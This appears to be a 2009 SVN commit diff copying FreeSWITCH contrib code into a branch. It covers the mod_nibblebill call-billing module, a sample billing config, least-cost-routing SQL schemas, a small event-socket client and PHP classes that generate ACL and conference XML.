+	if (globals.mutex) {
+		switch_mutex_unlock(globals.mutex);
+	}
+
+	/* Go check if this call is allowed to continue */
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* You can turn on session heartbeat on a channel to have us check billing more often */
+static void event_handler(switch_event_t *event)
+{
+	if (!event){
+		/* WTF? We should never get here - it means an event came in without the event info */
+		return;
+	}
+
+	/* FS vars we'll need */
+	switch_core_session_t *session;
+	char *uuid = switch_event_get_header(event, "Unique-ID");
+
+	/* Make sure everything is sane */
+	if (!uuid){
+		/* Donde esta channel? */
+		return;
+	}
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Received request via %s!\n", switch_event_name (event->event_id));
+
+	/* Display debugging info */
+	if (switch_event_get_header(event, "nibble_debug")) {
+		debug_event_handler(event);
+	}
+
+	/* Get session var */
+	session = switch_core_session_locate(uuid);
+	if (!session) {
+		return;
+	}
+
+	/* Go bill */
+	do_billing(session);
+
+
+	switch_core_session_rwunlock(session);
+}
+
+static void nibblebill_pause(switch_core_session_t *session)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_time_t ts = switch_micro_time_now();
+	nibble_data_t *nibble_data;
+
+	if (!channel) {
+		return;
+	}
+
+	/* Lock this session's data for this module while we tinker with it */
+	if (globals.mutex) {
+		switch_mutex_lock(globals.mutex);
+	}
+
+	/* Get our nibble data var. This will be NULL if it's our first call here for this session */
+	nibble_data = (nibble_data_t *) switch_channel_get_private(channel, "_nibble_data_");
+
+	if (!nibble_data) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Can't pause - channel is not initialized for billing!\n");
+		return;
+	}
+
+	/* Set pause counter if not already set */
+	if (nibble_data->pausets == 0)
+		nibble_data->pausets = ts;
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Paused billing timestamp!\n");
+
+	/* Done checking - release lock */
+	if (globals.mutex) {
+		switch_mutex_unlock(globals.mutex);
+	}
+
+}
+
+static void nibblebill_resume(switch_core_session_t *session)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_time_t ts = switch_micro_time_now();
+	nibble_data_t *nibble_data;
+
+	if (!channel) {
+		return;
+	}
+
+	/* Get our nibble data var. This will be NULL if it's our first call here for this session */
+	nibble_data = (nibble_data_t *) switch_channel_get_private(channel, "_nibble_data_");
+
+	if (!nibble_data) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Can't resume - channel is not initialized for billing (This is expected at hangup time)!\n");
+		return;
+	}
+
+	if (nibble_data->pausets == 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Can't resume - channel is not paused! (This is expected at hangup time)\n");
+		return;
+	}
+
+	/* Lock this session's data for this module while we tinker with it */
+	if (globals.mutex) {
+		switch_mutex_lock(globals.mutex);
+	}
+
+	const char *billrate = switch_channel_get_variable(channel, "nibble_rate");
+
+	/* Calculate how much was "lost" to billings during pause - we do this here because you never know when the billrate may change during a call */
+	nibble_data->bill_adjustments += (atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets));
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Resumed billing! Subtracted %f from this billing cycle.\n", (atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets)));
+
+	nibble_data->pausets = 0;
+
+	/* Done checking - release lock */
+	if (globals.mutex) {
+		switch_mutex_unlock(globals.mutex);
+	}
+
+}
+
+static void nibblebill_reset(switch_core_session_t *session)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_time_t ts = switch_micro_time_now();
+	nibble_data_t *nibble_data;
+
+	if (!channel) {
+		return;
+	}
+
+	/* Get our nibble data var. This will be NULL if it's our first call here for this session */
+	nibble_data = (nibble_data_t *) switch_channel_get_private(channel, "_nibble_data_");
+
+	if (!nibble_data) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Can't reset - channel is not initialized for billing!\n");
+		return;
+	}
+
+	/* Lock this session's data for this module while we tinker with it */
+	if (globals.mutex) {
+		switch_mutex_lock(globals.mutex);
+	}
+
+	/* Update the last time we billed */
+	nibble_data->lastts = ts;
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Reset last billing timestamp marker to right now!\n");
+
+	/* Done checking - release lock */
+	if (globals.mutex) {
+		switch_mutex_unlock(globals.mutex);
+	}
+
+}
+
+static float nibblebill_check(switch_core_session_t *session)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	nibble_data_t *nibble_data;
+	float amount = 0;
+
+	if (!channel) {
+		return -99999;
+	}
+
+	/* Get our nibble data var. This will be NULL if it's our first call here for this session */
+	nibble_data = (nibble_data_t *) switch_channel_get_private(channel, "_nibble_data_");
+
+	if (!nibble_data) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Can't check - channel is not initialized for billing!\n");
+		return -99999;
+	}
+
+	/* Lock this session's data for this module while we tinker with it */
+	if (globals.mutex) {
+		switch_mutex_lock(globals.mutex);
+	}
+
+	amount = nibble_data->total;
+
+	/* Done checking - release lock */
+	if (globals.mutex) {
+		switch_mutex_unlock(globals.mutex);
+	}
+
+	return amount;
+}
+
+static void nibblebill_adjust(switch_core_session_t *session, float amount)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+
+	if (!channel) {
+		return;
+	}
+
+	/* Variables kept in FS but relevant only to this module */
+	const char *billaccount = switch_channel_get_variable(channel, "nibble_account");
+
+	/* Return if there's no billing information on this session */
+	if (!billaccount) {
+		return;
+	}
+
+	/* Add or remove amount from adjusted billing here. Note, we bill the OPPOSITE */
+	if (bill_event(-amount, billaccount) == SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Recorded adjustment to %s for $%f\n", billaccount, amount);
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to record adjustment to %s for $%f\n", billaccount, amount);
+	}
+
+}
+
+
+#define APP_SYNTAX "pause | resume | reset | adjust <amount> | heartbeat <seconds> | check"
+SWITCH_STANDARD_APP(nibblebill_app_function)
+{
+	int argc = 0;
+	char *lbuf = NULL;
+	char *argv[3] = { 0 };
+
+	if (!switch_strlen_zero(data) && (lbuf = switch_core_session_strdup(session, data))
+		&& (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+		if (!strcasecmp(argv[0], "adjust") && argc == 2) {
+			nibblebill_adjust(session, atof(argv[1]));
+		} else if (!strcasecmp(argv[0], "flush")) {
+			do_billing(session);
+		} else if (!strcasecmp(argv[0], "pause")) {
+			nibblebill_pause(session);
+		} else if (!strcasecmp(argv[0], "resume")) {
+			nibblebill_resume(session);
+		} else if (!strcasecmp(argv[0], "check")) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Current billing is at $%f\n", nibblebill_check(session));
+		} else if (!strcasecmp(argv[0], "reset")) {
+			nibblebill_reset(session);
+		} else if (!strcasecmp(argv[0], "heartbeat") && argc == 2) {
+			switch_core_session_enable_heartbeat(session, atoi(argv[1]));
+		}
+	}
+
+}
+
+/* We get here from the API only (theoretically) */
+#define API_SYNTAX "<uuid> [pause | resume | reset | adjust <amount> | heartbeat <seconds> | check]"
+SWITCH_STANDARD_API(nibblebill_api_function)
+{
+	switch_core_session_t *psession = NULL;
+	char *mycmd = NULL, *argv[3] = { 0 };
+	int argc = 0;
+
+	if (!switch_strlen_zero(cmd) && (mycmd = strdup(cmd))) {
+		argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
+		if ((argc == 2 || argc == 3) && !switch_strlen_zero(argv[0])) {
+			char *uuid = argv[0];
+			if ((psession = switch_core_session_locate(uuid))) {
+				switch_channel_t *channel;
+				channel = switch_core_session_get_channel(psession);
+
+				if (!strcasecmp(argv[1], "adjust") && argc == 3) {
+					nibblebill_adjust(psession, atof(argv[2]));
+				} else if (!strcasecmp(argv[1], "flush")) {
+					do_billing(psession);
+				} else if (!strcasecmp(argv[1], "pause")) {
+					nibblebill_pause(psession);
+				} else if (!strcasecmp(argv[1], "resume")) {
+					nibblebill_resume(psession);
+				} else if (!strcasecmp(argv[1], "check")) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Current billing is at $%f\n", nibblebill_check(psession));
+				} else if (!strcasecmp(argv[1], "reset")) {
+					nibblebill_reset(psession);
+				} else if (!strcasecmp(argv[1], "heartbeat") && argc == 3) {
+					switch_core_session_enable_heartbeat(psession, atoi(argv[2]));
+				}
+
+				switch_core_session_rwunlock(psession);
+			} else {
+				stream->write_function(stream, "-ERR No Such Channel!\n");
+			}
+		} else {
+			stream->write_function(stream, "-USAGE: %s\n", API_SYNTAX);
+		}
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* Check if session has variable "billrate" set. If it does, activate the heartbeat variable
+ switch_core_session_enable_heartbeat(switch_core_session_t *session, uint32_t seconds)
+ switch_core_session_sched_heartbeat(switch_core_session_t *session, uint32_t seconds)*/
+
+static switch_status_t sched_billing(switch_core_session_t *session)
+{
+
+	if (globals.global_heartbeat > 0) {
+		switch_core_session_enable_heartbeat(session, globals.global_heartbeat);
+	}
+
+	/* TODO: Check account balance here */
+
+	return SWITCH_STATUS_SUCCESS;
+
+}
+
+static switch_status_t process_hangup(switch_core_session_t *session)
+{
+
+	/* Resume any paused billings, just in case */
+//	nibblebill_resume(session);
+
+	/* Now go handle like normal billing */
+	do_billing(session);
+
+	return SWITCH_STATUS_SUCCESS;
+
+}
+
+switch_state_handler_table_t nibble_state_handler =
+{
+	/* on_init */   	NULL,
+	/* on_routing */   	NULL,	/* Need to add a check here for anything in their account before routing */
+	/* on_execute */   	sched_billing,  /* Turn on heartbeat for this session and do an initial account check */
+	/* on_hangup */   	process_hangup, /* On hangup - most important place to go bill */
+	/* on_exch_media */   	NULL,
+	/* on_soft_exec */   	NULL,
+	/* on_consume_med */   	NULL,
+	/* on_hibernate */   	NULL,
+	/* on_reset */   	NULL
+};
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load)
+{
+	switch_api_interface_t *api_interface;
+	switch_application_interface_t *app_interface;
+
+	/* Set every byte in this structure to 0 */	
+	memset(&globals, 0, sizeof(globals));
+        globals.pool = pool;
+        switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
+
+	load_config();
+	
+	/* connect my internal structure to the blank pointer passed to me */
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+
+	/* Add API and CLI commands */
+	SWITCH_ADD_API(api_interface, "nibblebill", "Manage billing parameters for a channel/call", nibblebill_api_function, API_SYNTAX);
+
+	/* Add dialplan applications */
+	SWITCH_ADD_APP(app_interface, "nibblebill", "Handle billing for the current channel/call", "Pause, resume, reset, adjust, flush, heartbeat commands to handle billing.", nibblebill_app_function, APP_SYNTAX, SAF_NONE);
+
+	/* register state handlers for billing */
+	switch_core_add_state_handler(&nibble_state_handler);
+
+	/* bind to heartbeat events */
+	if (switch_event_bind_removable(modname, SWITCH_EVENT_SESSION_HEARTBEAT, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL, &globals.node) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event to monitor for session heartbeats!\n");
+		return SWITCH_STATUS_GENERR;
+	}
+
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_nibblebill_shutdown)
+{	
+	switch_event_unbind(&globals.node);
+	switch_core_remove_state_handler(&nibble_state_handler);
+	switch_odbc_handle_disconnect(globals.master_odbc);
+
+	return SWITCH_STATUS_UNLOAD;
+}
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4 expandtab:
+ */

Deleted: freeswitch/branches/seven/contrib/dschreiber/mod_nibblebill/nibblebill.conf.xml

Copied: freeswitch/branches/seven/contrib/dschreiber/mod_nibblebill/nibblebill.conf.xml (from rev 14471, freeswitch/trunk/contrib/dschreiber/mod_nibblebill/nibblebill.conf.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/dschreiber/mod_nibblebill/nibblebill.conf.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/dschreiber/mod_nibblebill/nibblebill.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+<configuration name="nibblebill.conf" description="Nibble Billing">
+  <settings>
+    <!-- See http://wiki.freeswitch.org/index.php?title=Mod_nibblebill for help with these options -->
+
+    <!-- Information for connecting to your database -->
+    <param name="db_username" value="bandwidth.com"/>
+    <param name="db_password" value="password"/>
+    <param name="db_dsn" value="bandwidth.com"/>
+
+    <!-- The database table where your CASH column is located -->
+    <param name="db_table" value="accounts"/>
+
+    <!-- The column name where we store the value of the account -->
+    <param name="db_column_cash" value="cash"/>
+
+    <!-- The column name for the unique ID identifying the account -->
+    <param name="db_column_account" value="id"/>
+
+
+    <!-- Default heartbeat interval. Set to 'off' for no heartbeat (i.e. bill only at end of call) -->
+    <param name="global_heartbeat" value="60"/>
+
+    <!-- By default, warn a caller when their balance is at $5.00. You can set this to a negative number. -->
+    <param name="lowbal_amt" value="5"/>
+    <param name="lowbal_action" value="play ding"/>
+
+    <!-- By default, terminate a caller when their balance hits $0.00. You can set this to a negative number. -->
+    <param name="nobal_amt" value="0"/>
+    <param name="nobal_action" value="hangup"/>
+
+    <!-- If a call goes beyond a certain dollar amount, flag or terminate it -->
+    <param name="percall_max_amt" value="100"/>
+    <param name="percall_action" value="hangup"/>
+
+  </settings>
+</configuration>

Copied: freeswitch/branches/seven/contrib/evildeshi (from rev 14471, freeswitch/trunk/contrib/evildeshi)

Copied: freeswitch/branches/seven/contrib/intralanman (from rev 14471, freeswitch/trunk/contrib/intralanman)

Copied: freeswitch/branches/seven/contrib/intralanman/C (from rev 14471, freeswitch/trunk/contrib/intralanman/C)

Copied: freeswitch/branches/seven/contrib/intralanman/C/lcr (from rev 14471, freeswitch/trunk/contrib/intralanman/C/lcr)

Copied: freeswitch/branches/seven/contrib/intralanman/C/lcr/sql (from rev 14471, freeswitch/trunk/contrib/intralanman/C/lcr/sql)

Deleted: freeswitch/branches/seven/contrib/intralanman/C/lcr/sql/mysql-5.0.sql

Copied: freeswitch/branches/seven/contrib/intralanman/C/lcr/sql/mysql-5.0.sql (from rev 14471, freeswitch/trunk/contrib/intralanman/C/lcr/sql/mysql-5.0.sql) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/C/lcr/sql/mysql-5.0.sql	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/C/lcr/sql/mysql-5.0.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,85 @@
+-- MySQL dump 10.11
+--
+-- Host: lmdt.intralanman.com    Database: freeswitch
+-- ------------------------------------------------------
+-- Server version	5.0.51a-17-log
+
+/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
+/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
+/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
+/*!40101 SET NAMES utf8 */;
+/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
+/*!40103 SET TIME_ZONE='+00:00' */;
+/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
+/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
+/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
+/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
+
+--
+-- Table structure for table `lcr`
+--
+
+DROP TABLE IF EXISTS `lcr`;
+CREATE TABLE `lcr` (
+  `id` int(11) NOT NULL auto_increment,
+  `digits` varchar(15) default NULL,
+  `rate` float(11,5) unsigned NOT NULL,
+  `carrier_id` int(11) NOT NULL,
+  `lead_strip` int(11) NOT NULL,
+  `trail_strip` int(11) NOT NULL,
+  `prefix` varchar(16) NOT NULL,
+  `suffix` varchar(16) NOT NULL,
+  `lcr_profile` varchar(32) default NULL,
+  `date_start` datetime NOT NULL DEFAULT '1970-01-01',
+  `date_end` datetime NOT NULL DEFAULT '2030-12-31',
+  `quality` float(10,6) NOT NULL,
+  `reliability` float(10,6) NOT NULL,
+  `cid` varchar(32) NOT NULL DEFAULT '',
+  `enabled` boolean NOT NULL DEFAULT '1',
+  PRIMARY KEY  (`id`),
+  KEY `carrier_id` (`carrier_id`),
+  KEY `digits` (`digits`),
+  KEY `lcr_profile` (`lcr_profile`),
+  KEY `rate` (`rate`),
+  KEY `digits_profile_cid_rate` USING BTREE (`digits`,`rate`),
+  CONSTRAINT `carrier_id` FOREIGN KEY (`carrier_id`) REFERENCES `carriers` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+) ENGINE=InnoDB AUTO_INCREMENT=8 DEFAULT CHARSET=latin1;
+
+--
+-- Table structure for table `carriers`
+--
+
+DROP TABLE IF EXISTS `carriers`;
+CREATE TABLE `carriers` (
+  `id` int(11) NOT NULL auto_increment,
+  `carrier_name` varchar(255) default NULL,
+  `enabled` boolean NOT NULL DEFAULT '1',
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=latin1;
+
+--
+-- Table structure for table `carrier_gateway`
+--
+
+DROP TABLE IF EXISTS `carrier_gateway`;
+CREATE TABLE `carrier_gateway` (
+  `id` int(11) NOT NULL auto_increment,
+  `carrier_id` int(11) default NULL,
+  `prefix` varchar(255) NOT NULL,
+  `suffix` varchar(255) NOT NULL,
+  `codec` varchar(255) NOT NULL,
+  `enabled` boolean NOT NULL DEFAULT '1',
+  PRIMARY KEY  (`id`),
+  KEY `carrier_id` (`carrier_id`)
+) ENGINE=InnoDB AUTO_INCREMENT=17 DEFAULT CHARSET=latin1;
+/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
+
+/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
+/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
+/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
+/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
+/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
+/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
+/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
+
+-- Dump completed on 2008-11-21 22:48:11

Deleted: freeswitch/branches/seven/contrib/intralanman/C/lcr/sql/postgres-8.3.sql

Copied: freeswitch/branches/seven/contrib/intralanman/C/lcr/sql/postgres-8.3.sql (from rev 14471, freeswitch/trunk/contrib/intralanman/C/lcr/sql/postgres-8.3.sql) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/C/lcr/sql/postgres-8.3.sql	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/C/lcr/sql/postgres-8.3.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,85 @@
+-- Table: carriers
+
+-- DROP TABLE carriers;
+
+CREATE TABLE carriers
+(
+  id serial NOT NULL,
+  carrier_name VARCHAR(255) NOT NULL,
+  enabled boolean NOT NULL DEFAULT 'true',
+  CONSTRAINT carriers_pkey PRIMARY KEY (id)
+);
+
+-- Table: carrier_gateway
+
+-- DROP TABLE carrier_gateway;
+
+CREATE TABLE carrier_gateway
+(
+  id serial NOT NULL,
+  carrier_id integer REFERENCES carriers(id),
+  prefix VARCHAR(128) NOT NULL DEFAULT '',
+  suffix VARCHAR(128) NOT NULL DEFAULT '',
+  codec VARCHAR(128) NOT NULL DEFAULT '',
+  enabled boolean NOT NULL DEFAULT 'true',
+  CONSTRAINT carrier_gateway_pkey PRIMARY KEY (id)
+);
+
+-- Index: gateway
+
+-- DROP INDEX gateway;
+
+CREATE UNIQUE INDEX gateway
+  ON carrier_gateway
+  (prefix, suffix);
+
+
+-- Table: lcr
+
+-- DROP TABLE lcr;
+
+CREATE TABLE lcr
+(
+  id serial NOT NULL,
+  digits NUMERIC(20, 0),
+  rate numeric(11,5) NOT NULL,
+  intra numeric(11,5) NOT NULL,
+  carrier_id integer NOT NULL REFERENCES carriers(id),
+  lead_strip integer NOT NULL DEFAULT 0,
+  trail_strip integer NOT NULL DEFAULT 0,
+  prefix VARCHAR(16) NOT NULL DEFAULT '',
+  suffix VARCHAR(16) NOT NULL DEFAULT '',
+  lcr_profile INTEGER NOT NULL DEFAULT 0,
+  date_start timestamp with time zone NOT NULL DEFAULT '1970-01-01',
+  date_end timestamp with time zone NOT NULL DEFAULT '2030-12-31',
+  quality numeric(10,6) NOT NULL DEFAULT 0,
+  reliability numeric(10,6) NOT NULL DEFAULT 0,
+  cid VARCHAR(32) NOT NULL DEFAULT '',
+  enabled boolean NOT NULL DEFAULT 'true',
+  CONSTRAINT lcr_pkey PRIMARY KEY (id)
+);
+
+-- Index: digits_rate
+
+-- DROP INDEX digits_rate;
+
+CREATE INDEX digits_rate
+  ON lcr
+  USING btree
+  (digits, rate);
+
+-- Index: profile_digits_15
+
+-- DROP INDEX profile_digits_15;
+
+CREATE INDEX profile_digits_15
+  ON lcr
+  (digits, lcr_profile);
+
+-- Index: unique_route
+
+-- DROP INDEX unique_route;
+
+CREATE INDEX unique_route
+  ON lcr
+  (digits, carrier_id);

Copied: freeswitch/branches/seven/contrib/intralanman/C/tel_handler (from rev 14471, freeswitch/trunk/contrib/intralanman/C/tel_handler)

Deleted: freeswitch/branches/seven/contrib/intralanman/C/tel_handler/Makefile

Copied: freeswitch/branches/seven/contrib/intralanman/C/tel_handler/Makefile (from rev 14471, freeswitch/trunk/contrib/intralanman/C/tel_handler/Makefile) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/C/tel_handler/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/C/tel_handler/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,13 @@
+CFLAGS=-I../../../../../libs/esl/src/include -g -ggdb -ffast-math -Wall -Werror -Wunused-variable -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes
+LDFLAGS=-L../../../../../libs/esl/ -lpthread -lesl
+
+all: tel_handler
+
+tel_handler: tel_handler.c
+	$(CC) $(CFLAGS) tel_handler.c -o tel_handler $(LDFLAGS) $(LIBS)
+
+clean:
+	rm -f tel_handler 
+
+install: all
+	cp tel_handler /usr/bin/tel_handler

Deleted: freeswitch/branches/seven/contrib/intralanman/C/tel_handler/tel_handler.c

Copied: freeswitch/branches/seven/contrib/intralanman/C/tel_handler/tel_handler.c (from rev 14471, freeswitch/trunk/contrib/intralanman/C/tel_handler/tel_handler.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/C/tel_handler/tel_handler.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/C/tel_handler/tel_handler.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,19 @@
+#include <stdio.h>
+#include <esl.h>
+
+int main(int argc, char *argv[])
+{
+	esl_handle_t handle = {{0}};
+	char buf[1024];
+
+	if (argc != 2) {
+		printf("Not enough args!!");
+		return 1;
+	}
+
+	esl_connect(&handle, "localhost", 8021, "ClueCon");
+	snprintf(buf, sizeof(buf), "api pa call %s", argv[1]);
+	esl_send_recv(&handle, buf);
+	esl_disconnect(&handle);
+	return 0;
+}

Copied: freeswitch/branches/seven/contrib/intralanman/PHP (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP)

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl)

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration)

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/acl.conf.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/acl.conf.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration/acl.conf.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/acl.conf.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/acl.conf.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * acl.conf.php
+ */
+
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * Class to write the XML for acl.conf
+ */
+class acl_conf extends fs_configuration {
+
+    public function acl_conf() {
+        $this -> fs_configuration();
+    }
+
+    public function main() {
+        $acl = $this -> get_acl();
+        $this -> write_acl($acl);
+    }
+
+    /**
+     * Write individual node elements with their attributes
+     *
+     * @param array $node_attributes
+     */
+    private function write_node($node_attributes) {
+        $this -> xmlw -> startElement('node');
+        $this -> xmlw -> writeAttribute('type', $node_attributes['type']);
+        $this -> xmlw -> writeAttribute('cidr', $node_attributes['cidr']);
+        $this -> xmlw -> endElement();
+    }
+
+    /**
+     * Fetch the ACL data from the database
+     *
+     * @return array $acl_data
+     */
+    private function get_acl() {
+        $query = sprintf(
+        'SELECT * FROM acl_lists al JOIN acl_nodes an ON an.list_id=al.id;'
+        );
+        $acl_data = $this -> db -> queryAll($query);
+        if (FS_PDO::isError($profiles)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return array();
+        }
+        return $acl_data;
+    }
+
+    /**
+     * Write ACL data out
+     *
+     * @param array $acl
+     */
+    private function write_acl($acl) {
+        $this -> xmlw -> startElement('network-lists');
+        $node_count = count($acl);
+        for ($i=0; $i<$node_count; $i++) {
+            $last = $i - 1;
+            $next = $i + 1;
+            if ($last < 0 || $acl[$last]['acl_name'] != $acl[$i]['acl_name']) {
+            	$this -> xmlw -> startElement('list');
+            	$this -> xmlw -> writeAttribute('name', $acl[$i]['acl_name']);
+            	$this -> xmlw -> writeAttribute(
+            	'default', $acl[$i]['default_policy']
+            	);
+            }
+            $this -> write_node($acl[$i]);
+            if ((!array_key_exists($next, $acl))
+            || $acl[$next]['acl_name'] != $acl[$i]['acl_name']) {
+            	$this -> xmlw -> endElement();
+            }
+        }
+        $this -> xmlw -> endElement();
+    }
+}
+?>

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/conference.conf.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/conference.conf.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/configuration/conference.conf.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/conference.conf.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/configuration/conference.conf.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,185 @@
+<?php
+/**
+ * @package FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * conference.conf.php
+ */
+if (basename($_SERVER['PHP_SELF']) == basename(__FILE__)) {
+    header('Location: index.php');
+}
+
+/**
+ * @package  FS_CURL
+ * @subpackage FS_CURL_Configuration
+ * @license
+ * @author Raymond Chandler (intralanman) <intralanman@gmail.com>
+ * @version 0.1
+ * Write XML for conference.conf
+*/
+class conference_conf extends fs_configuration {
+    /**
+     * Initializer method
+     * This method calls fs_configuration to initialize all of the
+     * objects and variables that we want to inherit
+     * @return void
+    */
+    public function conference_conf() {
+        $this -> fs_configuration();
+    }
+
+    /**
+     * Main sub-routine
+     * This method will call all of the other methods necessary
+     * to write out the XML for the conference.conf
+     * @return void
+    */
+    public function main() {
+        $this -> write_advertises();
+        $this -> write_controls();
+        $this -> write_profiles();
+    }
+
+    /**
+     * Write XML for <advertises>
+     * This method will write the elements and attributes for the
+     * conferences that are to be advertised
+     * @return void
+    */
+    private function write_advertises() {
+        $query = "SELECT * FROM conference_advertise ORDER BY room";
+        $advertises = $this -> db -> queryAll($query);
+        if (FS_PDO::isError($advertises)) {
+            $this -> comment($query);
+            $this -> comment($this -> db -> getMessage());
+            return ;
+        }
+        $advertise_count = count($advertises);
+        if ($advertise_count < 1) {
+            return ;
+        }
+        $this -> xmlw -> startElement('advertise');
+        for ($i=0; $i<$advertise_count; $i++) {
+            //$this -> comment_array($advertises[$i]);
+            $this -> xmlw -> startElement('room');
+            $this -> xmlw -> writeAttribute('name', $advertises[$i]['room']);
+            $this -> xmlw -> writeAttribute('status', $advertises[$i]['status']);
+            $this -> xmlw -> endElement();
+        }
+        $this -> xmlw -> endElement();
+    }
+
+
+    /**
+     * Pull conference profiles from the database
+     * This method will pull the conference profiles
+     * from the database using the PDO extension
+     * @return array
+    */
+    private function get_profiles_array() {
